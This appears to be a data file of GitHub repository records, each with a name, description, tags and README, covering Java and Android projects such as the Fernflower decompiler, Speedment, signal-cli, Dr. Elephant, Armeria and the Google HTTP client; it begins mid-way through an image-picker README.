permissions to be requested (i.e. exif data). | | saveToPhotos | OK | OK | NO | (Boolean) Only for `launchCamera`, saves the image/video file captured to public photo. | | selectionLimit | OK | OK | OK | Supports providing any integer value. Use `0` to allow any number of files on iOS version >= 14 & Android version >= 13. Default is `1`. | | presentationStyle | OK | NO | NO | Controls how the picker is presented. `currentContext`, `pageSheet`, `fullScreen`, `formSheet`, `popover`, `overFullScreen`, `overCurrentContext`. Default is `currentContext`. | | formatAsMp4 | OK | NO | NO | Converts the selected video to MP4 (iOS Only). | | assetRepresentationMode | OK | NO | NO | A mode that determines which representation to use if an asset contains more than one. Possible values: 'auto', 'current', 'compatible'. Default is 'auto'. | ## The Response Object | key | iOS | Android | Web | Description | | ------------ | --- | ------- | --- | ------------------------------------------------------------------- | | didCancel | OK | OK | OK | `true` if the user cancelled the process | | errorCode | OK | OK | OK | Check [ErrorCode](#ErrorCode) for all error codes | | errorMessage | OK | OK | OK | Description of the error, use it for debug purpose only | | assets | OK | OK | OK | Array of the selected media, [refer to Asset Object](#Asset-Object) | ## Asset Object | key | iOS | Android | Web | Photo/Video | Requires Permissions | Description | | --------- | --- | ------- | --- | ----------- | -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | base64 | OK | OK | OK | PHOTO ONLY | NO | The base64 string of the image (photos only) | | uri | OK | OK | OK | BOTH | NO | The file uri in app specific cache storage. Except when picking **video from Android gallery** where you will get read only content uri, to get file uri in this case copy the file to app specific storage using any react-native library. For web it uses the base64 as uri. | | originalPath | NO | OK | NO | BOTH | NO | The original file path. | | width | OK | OK | OK | BOTH | NO | Asset dimensions | | height | OK | OK | OK | BOTH | NO | Asset dimensions | | fileSize | OK | OK | NO | BOTH | NO | The file size | | type | OK | OK | NO | BOTH | NO | The file type | | fileName | OK | OK | NO | BOTH | NO | The file name | | duration | OK | OK | NO | VIDEO ONLY | NO | The selected video duration in seconds | | bitrate | --- | OK | NO | VIDEO ONLY | NO | The average bitrate (in bits/sec) of the selected video, if available. (Android only) | | timestamp | OK | OK | NO | BOTH | YES | Timestamp of the asset. Only included if 'includeExtra' is true | | id | OK | OK | NO | BOTH | YES | local identifier of the photo or video. On Android, this is the same as fileName | ## Note on file storage Image/video captured via camera will be stored in temporary folder allowing it to be deleted any time, so don't expect it to persist. Use `saveToPhotos: true` (default is `false`) to save the file in the public photos. `saveToPhotos` requires `WRITE_EXTERNAL_STORAGE` permission on Android 28 and below (The permission has to obtained by the App manually as the library does not handle that). For web, this doesn't work. ## ErrorCode | Code | Description | | ------------------ | ------------------------------------------------- | | camera_unavailable | Camera not available on device | | permission | Permission not satisfied | | others | Other errors (check errorMessage for description) | ## License [MIT](LICENSE.md)
0
fesh0r/fernflower
Unofficial mirror of FernFlower Java decompiler (All pulls should be submitted upstream)
decompiler java reverse-engineering
### About Fernflower Fernflower is the first actually working analytical decompiler for Java and probably for a high-level programming language in general. Naturally it is still under development, please send your bug reports and improvement suggestions to the [issue tracker](https://youtrack.jetbrains.com/newIssue?project=IDEA&clearDraft=true&c=Subsystem+Decompiler). ### Licence Fernflower is licenced under the [Apache Licence Version 2.0](http://www.apache.org/licenses/LICENSE-2.0). ### Running from command line `java -jar fernflower.jar [-<option>=<value>]* [<source>]+ <destination>` \* means 0 or more times\ \+ means 1 or more times \<source>: file or directory with files to be decompiled. Directories are recursively scanned. Allowed file extensions are class, zip and jar. Sources prefixed with -e= mean "library" files that won't be decompiled, but taken into account when analysing relationships between classes or methods. Especially renaming of identifiers (s. option 'ren') can benefit from information about external classes. \<destination>: destination directory \<option>, \<value>: a command-line option with the corresponding value (see "Command-line options" below). ##### Examples: `java -jar fernflower.jar -hes=0 -hdc=0 c:\Temp\binary\ -e=c:\Java\rt.jar c:\Temp\source\` `java -jar fernflower.jar -dgs=1 c:\Temp\binary\library.jar c:\Temp\binary\Boot.class c:\Temp\source\` ### Command-line options With the exception of mpm and urc the value of 1 means the option is activated, 0 - deactivated. Default value, if any, is given between parentheses. Typically, the following options will be changed by user, if any: hes, hdc, dgs, mpm, ren, urc The rest of options can be left as they are: they are aimed at professional reverse engineers. - rbr (1): hide bridge methods - rsy (0): hide synthetic class members - din (1): decompile inner classes - dc4 (1): collapse 1.4 class references - das (1): decompile assertions - hes (1): hide empty super invocation - hdc (1): hide empty default constructor - dgs (0): decompile generic signatures - ner (1): assume return not throwing exceptions - den (1): decompile enumerations - rgn (1): remove getClass() invocation, when it is part of a qualified new statement - lit (0): output numeric literals "as-is" - asc (0): encode non-ASCII characters in string and character literals as Unicode escapes - bto (1): interpret int 1 as boolean true (workaround to a compiler bug) - nns (0): allow for not set synthetic attribute (workaround to a compiler bug) - uto (1): consider nameless types as java.lang.Object (workaround to a compiler architecture flaw) - udv (1): reconstruct variable names from debug information, if present - ump (1): reconstruct parameter names from corresponding attributes, if present - rer (1): remove empty exception ranges - fdi (1): de-inline finally structures - mpm (0): maximum allowed processing time per decompiled method, in seconds. 0 means no upper limit - ren (0): rename ambiguous (resp. obfuscated) classes and class elements - urc (-): full name of a user-supplied class implementing IIdentifierRenamer interface. It is used to determine which class identifiers should be renamed and provides new identifier names (see "Renaming identifiers") - inn (1): check for IntelliJ IDEA-specific @NotNull annotation and remove inserted code if found - lac (0): decompile lambda expressions to anonymous classes - nls (0): define new line character to be used for output. 0 - '\r\n' (Windows), 1 - '\n' (Unix), default is OS-dependent - ind: indentation string (default is 3 spaces) - crp (0): use record patterns where it is possible - cps (0): use switch with patterns where it is possible - log (INFO): a logging level, possible values are TRACE, INFO, WARN, ERROR ### Renaming identifiers Some obfuscators give classes and their member elements short, meaningless and above all ambiguous names. Recompiling of such code leads to a great number of conflicts. Therefore it is advisable to let the decompiler rename elements in its turn, ensuring uniqueness of each identifier. Option 'ren' (i.e. -ren=1) activates renaming functionality. Default renaming strategy goes as follows: - rename an element if its name is a reserved word or is shorter than 3 characters - new names are built according to a simple pattern: (class|method|field)_\<consecutive unique number> You can overwrite this rules by providing your own implementation of the 4 key methods invoked by the decompiler while renaming. Simply pass a class that implements org.jetbrains.java.decompiler.main.extern.IIdentifierRenamer in the option 'urc' (e.g. -urc=com.example.MyRenamer) to Fernflower. The class must be available on the application classpath. The meaning of each method should be clear from naming: toBeRenamed determine whether the element will be renamed, while the other three provide new names for classes, methods and fields respectively.
0
speedment/speedment
Speedment is a Stream ORM Java Toolkit and Runtime
code-generator database java java-ee javafx orm spring spring-boot stream
<img align="center" src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/Duke-Spire.png?raw=true." alt="Spire the Hare" title="Spire" width="900px"> Java Stream ORM ==================================================== [![Maven Central](https://maven-badges.herokuapp.com/maven-central/com.speedment/runtime/badge.svg)](https://maven-badges.herokuapp.com/maven-central/com.speedment/runtime) [![Javadocs](https://javadoc-badge.appspot.com/com.speedment.runtime/runtime-application.svg?label=javadoc)](https://www.javadoc.io/doc/com.speedment.runtime/runtime-application) [![Build Status](https://travis-ci.org/speedment/speedment.svg?branch=develop-3.0)](https://travis-ci.org/speedment/speedment) [![Hex.pm](https://img.shields.io/hexpm/l/plug.svg?maxAge=2592000)](https://raw.githubusercontent.com/speedment/speedment/master/LICENSE) [![Join the chat at https://gitter.im/speedment/speedment](https://badges.gitter.im/Join%20Chat.svg)](https://gitter.im/speedment/speedment?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) Speedment is an open source Java Stream ORM toolkit and runtime. The toolkit analyzes the metadata of an existing SQL database and automatically creates a Java representation of the data model. This powerful ORM enables you to create scalable and efficient Java applications using **standard Java** streams with no need to type SQL or use any new API. Speedment was originally developed by researchers and engineers based in Palo Alto with the purpose to simplify and streamline the development of Java database applications by leveraging the Java Stream API. Speedment is licensed under the business-friendly Apache 2 license. Contribution from users is encouraged. Please feel free to request new features, suggest improvements and file bug reports. Read more about contributing [here](https://github.com/speedment/speedment/blob/master/CONTRIBUTING.md). <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/Spire-Quick-Start.png?raw=true" alt="Spire the Hare" title="Spire" align="right" width="20%" /> ## Quick Start Assuming you have Maven installed and a relational database available, you can start using Speedment in a minute: * [Start a New Speedment Maven Project](https://github.com/speedment/speedment/wiki/Start-a-New-Speedment-Maven-Project) * [Connect to Your Database](https://github.com/speedment/speedment/wiki/Connect-to-Your-Database) ## Expressing SQL as Java Streams There is a remarkable resemblance between Java streams and SQL as summarized in the simplified table. This means there is no need for manually writing SQL-queries any more. You can remain in a pure Java world! <img align="left" src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/SQL-Stream.png?raw=true." alt="Streams to SQL" width="400px"> #### Example Search in a film database for a film with a length greater than 120 minutes: ```java // Searches are optimized in the background! Optional<Film> longFilm = films.stream() .filter(Film.LENGTH.greaterThan(120)) .findAny(); ``` Results in the following SQL query: ```sql SELECT `film_id`,`title`,`description`,`release_year`, `language_id`,`original_language_id`,`rental_duration`,`rental_rate`, `length`,`replacement_cost`,`rating`,`special_features`, `last_update` FROM `sakila`.`film` WHERE (`length` > 120) ``` <br> ## Features Speedment is equipped with the features listed below and more. ### View Database Tables as Standard Java Streams <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/stream-api.png?raw=true" alt="Stream API" title="Stream API" align="right" width="25%" /> * **Pure Java** - Stream API instead of SQL eliminates the need of a query language<br> * **Dynamic Joins** - Ability to perform joins as Java streams on the application side<br> * **Parallel Streams** - Workload can automatically be divided over several threads<br> <br> ### Short and Concise Type Safe Code <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/type-safety.png?raw=true" alt="Type Safety" title="Type Safety" align="right" width="25%" /> * **Code Generation** - Automatic Java representation of the latest state of your database eliminates boilerplate code and the need of manually writing Java Entity classes while minimizing the risk for bugs.<br> * **Null Protection** - Minimizes the risk involved with database null values by wrapping to Java Optionals<br> * **Enum Integration** - Mapping of String columns to Java Enums increases memory efficiency and type safety<br> <img src="https://github.com/speedment/speedment-resources/blob/master/src/main/resources/wiki/frontpage/lazy-evaluation.png?raw=true" alt="Lazy Evaluation" title="Lazy Evaluation" align="right" width="25%" /> ### Lazy Evaluation for Increased Performance * **Streams are Lazy** - Content from the database is pulled as elements are needed and consumed<br> * **Pipeline Introspection** - Optimized performance by short circuiting of stream operations<br> ## Tutorials The tutorials are divided into three sections. The basics are covered in the first section without any expected prior knowledge of Speedment. This builds a foundation of knowledge needed to fully benefit from the following tutorials. #### Basics * [Tutorial 1 - Hello Speedment](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 2 - A First Stream from Speedment](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) #### Sample applications * [Tutorial 3 - Speedment Spring Boot Integration; REST assured - it is easy](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 4 - Speedment filters based on Json Web Tokens](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-1---hello-speedment) * [Tutorial 5 - Log errors in a database](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 6 - Use Speedment with Java EE](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 7 - Create Event Sourced Systems](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-5---log-errors-in-a-database) * [Tutorial 8 - Writing Your Own Extensions](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-8---writing-your-own-extensions) #### Extending Speedment * [Tutorial 9 - Formatting Your Output as JSON](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-9---formatting-your-output-as-json) * [Tutorial 10 - Working with BLOBS and CLOBS](https://speedment.github.io/speedment-doc/tutorials.html#tutorial-10---working-with-blobs-and-clobs) ## Resources * **Documentation** - Read the [Speedment User Guide](https://speedment.github.io/speedment-doc/index.html). * **JavaDocs** - Latest [Speedment JavaDocs](https://www.javadoc.io/doc/com.speedment/runtime-deploy/latest/index.html). * **Examples** - There are 15 detailed examples [here](https://github.com/speedment/speedment/tree/master/example-parent) and more can be found in the User Guide provided above. * **Gitter Chatroom** - Reach out to the Speedment developers and other community members via [the Gitter chatroom](https://gitter.im/speedment/speedment). * **Creating a Pull Request** - Pull requests and improvement suggestions from the community are gladly accepted. Find more information [here](https://github.com/speedment/speedment/blob/master/CONTRIBUTING.md). ## Requirements ### Java Version Speedment requires `Java 8` or later. Make sure your IDE is configured to use JDK 8 (version 1.8.0_40 or newer). ### Database Connectors Speedment Open Source comes with support for the following databases out-of-the-box: * MySQL * MariaDB * PostgreSQL * SQLite Enterprise database connectors include: * AS400 * Cassandra * DB2 * Informix * Oracle * Snowflake * SQL Server For more information, see [Speedment Licensing and Pricing](https://speedment.com/pricing/). ## Licenses * **Speedment Open Source** - This site covers the Speedment Open Source project available under the [Apache 2 license](http://www.apache.org/licenses/LICENSE-2.0). * **Speedment Stream** - The same great features as Speedment OSS with support for commercial databases. Learn more at [speedment.com/stream](http://speedment.com/stream). * **Speedment HyperStream** - An extension av Speedment Stream which also includes hypersonic query performance enabled by a unique in-JVM-memory management model. Learn more at [speedment.com/hyperStream](http://speedment.com/hyperstream). ## Copyright Copyright (c) 2014-2019, Speedment, Inc. All Rights Reserved. Visit [www.speedment.com](http://www.speedment.com/) for more info. [![Analytics](https://ga-beacon.appspot.com/UA-64937309-1/speedment/main)](https://github.com/igrigorik/ga-beacon) [Github activity visualized](https://www.youtube.com/watch?v=Rmc_3lLZQpM)
0
AsamK/signal-cli
signal-cli provides an unofficial commandline, JSON-RPC and dbus interface for the Signal messenger.
commandline dbus java json-rpc messaging signal signal-cli
# signal-cli signal-cli is a commandline interface for the [Signal messenger](https://signal.org/). It supports registering, verifying, sending and receiving messages. signal-cli uses a [patched libsignal-service-java](https://github.com/Turasa/libsignal-service-java), extracted from the [Signal-Android source code](https://github.com/signalapp/Signal-Android/tree/main/libsignal/service). For registering you need a phone number where you can receive SMS or incoming calls. signal-cli is primarily intended to be used on servers to notify admins of important events. For this use-case, it has a daemon mode with JSON-RPC interface ([man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli-jsonrpc.5.adoc)) and D-BUS interface ([man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli-dbus.5.adoc)) . For the JSON-RPC interface there's also a simple [example client](https://github.com/AsamK/signal-cli/tree/master/client), written in Rust. ## Installation You can [build signal-cli](#building) yourself or use the [provided binary files](https://github.com/AsamK/signal-cli/releases/latest), which should work on Linux, macOS and Windows. There's also a [docker image and some Linux packages](https://github.com/AsamK/signal-cli/wiki/Binary-distributions) provided by the community. System requirements: - at least Java Runtime Environment (JRE) 21 - native library: libsignal-client The native libs are bundled for x86_64 Linux (with recent enough glibc), Windows and MacOS. For other systems/architectures see: [Provide native lib for libsignal](https://github.com/AsamK/signal-cli/wiki/Provide-native-lib-for-libsignal) ### Install system-wide on Linux See [latest version](https://github.com/AsamK/signal-cli/releases). ```sh export VERSION=<latest version, format "x.y.z"> wget https://github.com/AsamK/signal-cli/releases/download/v"${VERSION}"/signal-cli-"${VERSION}".tar.gz sudo tar xf signal-cli-"${VERSION}".tar.gz -C /opt sudo ln -sf /opt/signal-cli-"${VERSION}"/bin/signal-cli /usr/local/bin/ ``` You can find further instructions on the Wiki: - [Quickstart](https://github.com/AsamK/signal-cli/wiki/Quickstart) ## Usage For a complete usage overview please read the [man page](https://github.com/AsamK/signal-cli/blob/master/man/signal-cli.1.adoc) and the [wiki](https://github.com/AsamK/signal-cli/wiki). Important: The ACCOUNT is your phone number in international format and must include the country calling code. Hence it should start with a "+" sign. (See [Wikipedia](https://en.wikipedia.org/wiki/List_of_country_calling_codes) for a list of all country codes.) * Register a number (with SMS verification) signal-cli -a ACCOUNT register You can register Signal using a landline number. In this case you can skip SMS verification process and jump directly to the voice call verification by adding the `--voice` switch at the end of above register command. Registering may require solving a CAPTCHA challenge: [Registration with captcha](https://github.com/AsamK/signal-cli/wiki/Registration-with-captcha) * Verify the number using the code received via SMS or voice, optionally add `--pin PIN_CODE` if you've added a pin code to your account signal-cli -a ACCOUNT verify CODE * Send a message ```sh signal-cli -a ACCOUNT send -m "This is a message" RECIPIENT ``` * Pipe the message content from another process. uname -a | signal-cli -a ACCOUNT send --message-from-stdin RECIPIENT * Receive messages signal-cli -a ACCOUNT receive **Hint**: The Signal protocol expects that incoming messages are regularly received (using `daemon` or `receive` command). This is required for the encryption to work efficiently and for getting updates to groups, expiration timer and other features. ## Storage The password and cryptographic keys are created when registering and stored in the current users home directory: $XDG_DATA_HOME/signal-cli/data/ $HOME/.local/share/signal-cli/data/ ## Building This project uses [Gradle](http://gradle.org) for building and maintaining dependencies. If you have a recent gradle version installed, you can replace `./gradlew` with `gradle` in the following steps. 1. Checkout the source somewhere on your filesystem with git clone https://github.com/AsamK/signal-cli.git 2. Execute Gradle: ./gradlew build 2a. Create shell wrapper in *build/install/signal-cli/bin*: ./gradlew installDist 2b. Create tar file in *build/distributions*: ./gradlew distTar 2c. Create a fat tar file in *build/libs/signal-cli-fat*: ./gradlew fatJar 2d. Compile and run signal-cli: ```sh ./gradlew run --args="--help" ``` ### Building a native binary with GraalVM (EXPERIMENTAL) It is possible to build a native binary with [GraalVM](https://www.graalvm.org). This is still experimental and will not work in all situations. 1. [Install GraalVM and setup the environment](https://www.graalvm.org/docs/getting-started/#install-graalvm) 2. Execute Gradle: ./gradlew nativeCompile The binary is available at *build/native/nativeCompile/signal-cli* ## FAQ and Troubleshooting For frequently asked questions and issues have a look at the [wiki](https://github.com/AsamK/signal-cli/wiki/FAQ). ## License This project uses libsignal-service-java from Open Whisper Systems: https://github.com/WhisperSystems/libsignal-service-java Licensed under the GPLv3: http://www.gnu.org/licenses/gpl-3.0.html
0
linkedin/dr-elephant
Dr. Elephant is a job and flow-level performance monitoring and tuning tool for Apache Hadoop and Apache Spark
null
# Dr. Elephant [![Build Status](https://api.travis-ci.org/linkedin/dr-elephant.svg)](https://travis-ci.org/linkedin/dr-elephant/) [![Join the chat at https://gitter.im/linkedin/dr-elephant](https://badges.gitter.im/linkedin/dr-elephant.svg)](https://gitter.im/linkedin/dr-elephant?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) <a href=""><img src="images/wiki/dr-elephant-logo-150x150.png" align="left" hspace="10" vspace="6"></a> **Dr. Elephant** is a performance monitoring and tuning tool for Hadoop and Spark. It automatically gathers all the metrics, runs analysis on them, and presents them in a simple way for easy consumption. Its goal is to improve developer productivity and increase cluster efficiency by making it easier to tune the jobs. It analyzes the Hadoop and Spark jobs using a set of pluggable, configurable, rule-based heuristics that provide insights on how a job performed, and then uses the results to make suggestions about how to tune the job to make it perform more efficiently. ## Documentation For more information on Dr. Elephant, check the wiki pages [here](https://github.com/linkedin/dr-elephant/wiki). For quick setup instructions: [Click here](https://github.com/linkedin/dr-elephant/wiki/Quick-Setup-Instructions-(Must-Read)) Developer guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/Developer-Guide) Administrator guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/Administrator-Guide) User guide: [Click here](https://github.com/linkedin/dr-elephant/wiki/User-Guide) Engineering Blog: [Click here](https://engineering.linkedin.com/blog/2016/04/dr-elephant-open-source-self-serve-performance-tuning-hadoop-spark) ## Mailing-list & Github Issues ~~Google groups mailing list: [Click here](https://groups.google.com/forum/#!forum/dr-elephant-users)~~ (Reached upper limit! please create github issues) Github issues: [click here](https://github.com/linkedin/dr-elephant/issues) ## Meetings We have scheduled a weekly Dr. Elephant meeting for the interested developers and users to discuss future plans for Dr. Elephant. Please [click here](https://github.com/linkedin/dr-elephant/issues/209) for details. ## How to Contribute? Check this [link](https://github.com/linkedin/dr-elephant/wiki/How-to-Contribute%3F). ## License Copyright 2016 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
binIoter/GuideView
东半球最好用的新手引导库,能够快速为任何一个View创建一个遮罩层,支持单个页面,多个引导串联展示,支持为高亮区域设置不同的图形,支持引导动画,方便扩展,良好支持fragment
null
* <h1>GuideView</h1> * 本系统能够快速的为一个Activity里的任何一个View控件创建一个遮罩式的导航页,并且可以再高亮区域绘制任何你想要的布局或者lottie动画等炫酷效果</p> * <h3>工作原理</h3> * 首先它需要一个目标View或者它的id,我们通过findViewById来得到这个View,计算它在屏幕上的区域targetRect,通过这个区域,开始绘制一个覆盖整个Activity的遮罩,可以定义遮罩的颜色和透明度,然而目标View被绘制成透明从而实现高亮的效果。接下来是在相对于这个targetRect的区域绘制一些图片或者文字。我们把这样一张图片或者文字抽象成一个Component接口,设置文字或者图片,所有的图片文字都是相对于targetRect来定义的。可以设定额外的x,y偏移量,可以对遮罩系统设置可见状态的发生变化时的监听回调,可以对遮罩系统设置开始和结束时的动画效。</p> * <h3>注意:具体用法参见demo,内附详细注释</h3> * <img src = "https://github.com/binIoter/GuideView/blob/master/app/src/main/assets/guide.gif"></img> * <h3>使用方法</h3> * <h4>1.添加gradle依赖</h4> implementation 'com.binioter:guideview:1.0.0' * <h4>2.编写用于在高亮区域周围展示的component</h4> * public class SimpleComponent implements Component { @Override public View getView(LayoutInflater inflater) { LinearLayout ll = (LinearLayout) inflater.inflate(R.layout.layer_frends, null); ll.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View view) { Toast.makeText(view.getContext(), "引导层被点击了", Toast.LENGTH_SHORT).show(); } }); return ll; } @Override public int getAnchor() { return Component.ANCHOR_BOTTOM; } @Override public int getFitPosition() { return Component.FIT_END; } @Override public int getXOffset() { return 0; } @Override public int getYOffset() { return 10; } } * <h4>3.展示引导蒙层,并监听蒙层展示、隐藏事件</h4> * public void showGuideView() { GuideBuilder builder = new GuideBuilder(); builder.setTargetView(header_imgbtn) .setAlpha(150) .setHighTargetCorner(20) .setHighTargetPadding(10); builder.setOnVisibilityChangedListener(new GuideBuilder.OnVisibilityChangedListener() { @Override public void onShown() { } @Override public void onDismiss() { showGuideView2(); } }); builder.addComponent(new SimpleComponent()); guide = builder.createGuide(); guide.show(SimpleGuideViewActivity.this); ## License Copyright 2016 binIoter Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
0
RodneyShag/HackerRank_solutions
317 efficient solutions to HackerRank problems
hackerrank java problems solutions
null
0
line/armeria
Your go-to microservice framework for any situation, from the creator of Netty et al. You can build any type of microservice leveraging your favorite technologies, including gRPC, Thrift, Kotlin, Retrofit, Reactive Streams, Spring Boot and Dropwizard.
gateway grpc grpc-client grpc-server hacktoberfest http http-client http-server http2 micro-framework microservices netty rpc rpc-client rpc-framework rpc-library rpc-server thrift thrift-client thrift-server
Visit [the official web site](https://armeria.dev/) for more information. # Armeria <a href="https://github.com/line/armeria"><img src="https://img.shields.io/github/stars/line/armeria.svg?style=social" /></a> <a href="https://twitter.com/armeria_project"><img src="https://img.shields.io/twitter/follow/armeria_project.svg?label=Follow" /></a> <a href="https://armeria.dev/s/discord"><img src="https://img.shields.io/badge/chat-on%20Discord-brightgreen.svg?style=social&amp;logo=discord" /></a> <a href="https://github.com/line/armeria/contributors"><img src="https://img.shields.io/github/contributors/line/armeria.svg" /></a> <a href="https://github.com/line/armeria/pulse"><img src="https://img.shields.io/github/commit-activity/m/line/armeria.svg?label=commits" /></a> <a href="https://search.maven.org/search?q=g:com.linecorp.armeria%20AND%20a:armeria"><img src="https://img.shields.io/maven-central/v/com.linecorp.armeria/armeria.svg?label=version" /></a> <a href="https://github.com/line/armeria/commits"><img src="https://img.shields.io/github/release-date/line/armeria.svg?label=release" /></a> [![Revved up by Develocity](https://img.shields.io/badge/Revved%20up%20by-Develocity-06A0CE?logo=Gradle&labelColor=02303A)](https://ge.armeria.dev/scans) > Build a reactive microservice **at your pace**, not theirs. _Armeria_ is your go-to microservice framework for any situation. You can build any type of microservice leveraging your favorite technologies, including [gRPC](https://grpc.io/), [Thrift](https://thrift.apache.org/), [Kotlin](https://kotlinlang.org/), [Retrofit](https://square.github.io/retrofit/), [Reactive Streams](https://www.reactive-streams.org/), [Spring Boot](https://spring.io/projects/spring-boot) and [Dropwizard](https://www.dropwizard.io/). It is open-sourced by the creator of [Netty](https://netty.io/) and his colleagues at [LINE Corporation](https://engineering.linecorp.com/en/). ## Requirements - Java 8 or later if you are a user. - See [the developer guide](https://armeria.dev/community/developer-guide/) if you are building Armeria. ## How to reach us — chat, questions and newsletters Visit [the community](https://armeria.dev/community/) to chat with us, ask questions and learn how to contribute. ## Hall of fame See [the complete list of our contributors](https://github.com/line/armeria/contributors). <img src="https://opencollective.com/armeria/contributors.svg?width=890&button=false" title="Contributors" alt="Contributors" />
0
Tornaco/Thanox
I am thanos! 😈 👌
android-framework android-hooking jetpack-compose magisk-module xposed-module
[![CircleCI](https://circleci.com/gh/Tornaco/Thanox/tree/master.svg?style=svg)](https://circleci.com/gh/Tornaco/Thanox/tree/master) [![Channel](https://img.shields.io/badge/Follow-Telegram-blue.svg?logo=telegram)](https://t.me/thanox_mod) [![Download](https://img.shields.io/github/downloads/tornaco/thanox/total)](https://github.com/Tornaco/Thanox/releases) [![Size](https://img.shields.io/github/languages/code-size/tornaco/thanox)](https://github.com/Tornaco/Thanox) ## Thanox **Thanox**的名字灵感来自(The name of **Thanox** is inspired by) [Thanos😈](https://en.wikipedia.org/wiki/Thanos) + [Xposed🧩](https://en.wikipedia.org/wiki/Xposed) ## 文档 (Documents) [介绍与教程 (Intro & Guide)](https://tornaco.github.io/Thanox-Docs/)
0
googleapis/google-http-java-client
Google HTTP Client Library for Java
null
# Google HTTP Client Library for Java [![Maven][maven-version-image]][maven-version-link] ![Stability][stability-image] [![CI Status][ci-status-image]][ci-status-link] ## Description Written by Google, the Google HTTP Client Library for Java is a flexible, efficient, and powerful Java library for accessing any resource on the web via HTTP. The library has the following features: - Pluggable HTTP transport abstraction that allows you to use any low-level library such as java.net.HttpURLConnection, Apache HTTP Client, or URL Fetch on Google App Engine. - Efficient JSON and XML data models for parsing and serialization of HTTP response and request content. The JSON and XML libraries are also fully pluggable, and they include support for [Jackson](https://github.com/FasterXML/jackson) and Android's GSON libraries for JSON. The library supports the following Java environments: - Java 7 or higher - The google-http-client-jackson2 and google-http-client-appengine modules require Java 8 or higher due to their dependencies. - Android 4.4 (Kit Kat) - GoogleAppEngine Google App Engine The following related projects are built on the Google HTTP Client Library for Java: - [Google OAuth Client Library for Java][google-oauth-client], for the OAuth 2.0 and OAuth 1.0a authorization standards. - [Google APIs Client Library for Java][google-api-client], for access to Google APIs. This is an open-source library, and [contributions][contributions] are welcome. ## Beta Features Features marked with the `@Beta` annotation at the class or method level are subject to change. They might be modified in any way, or even removed, in any major release. You should not use beta features if your code is a library itself (that is, if your code is used on the `CLASSPATH` of users outside your own control). ## Deprecated Features Deprecated non-beta features will be removed eighteen months after the release in which they are first deprecated. You must fix your usages before this time. If you don't, any type of breakage might result, and you are not guaranteed a compilation error. ## Documentation - [Developer's Guide](https://googleapis.github.io/google-http-java-client/) - [Setup Instructions](https://googleapis.github.io/google-http-java-client/setup.html) - [JavaDoc](https://googleapis.dev/java/google-http-client/latest/) - [Release Notes](https://github.com/googleapis/google-http-java-client/releases) - [Support (Questions, Bugs)](https://developers.google.com/api-client-library/java/google-http-java-client/support) [google-oauth-client]: https://github.com/googleapis/google-oauth-java-client [google-api-client]: https://github.com/googleapis/google-api-java-client [contributions]: CONTRIBUTING.md [ci-status-image]: https://github.com/googleapis/google-http-java-client/actions/workflows/ci.yaml/badge.svg?event=push [ci-status-link]: https://github.com/googleapis/google-http-java-client/actions?query=event%3Apush [maven-version-image]: https://img.shields.io/maven-central/v/com.google.http-client/google-http-client.svg [maven-version-link]: https://search.maven.org/search?q=g:com.google.http-client%20AND%20a:google-http-client&core=gav [stability-image]: https://img.shields.io/badge/stability-stable-green
0
newbee-ltd/newbee-mall-api
🔥 🎉新蜂商城前后端分离版本-后端API源码
mall newbee spring-boot springboot swagger swagger-ui swagger2 swagger3 vue
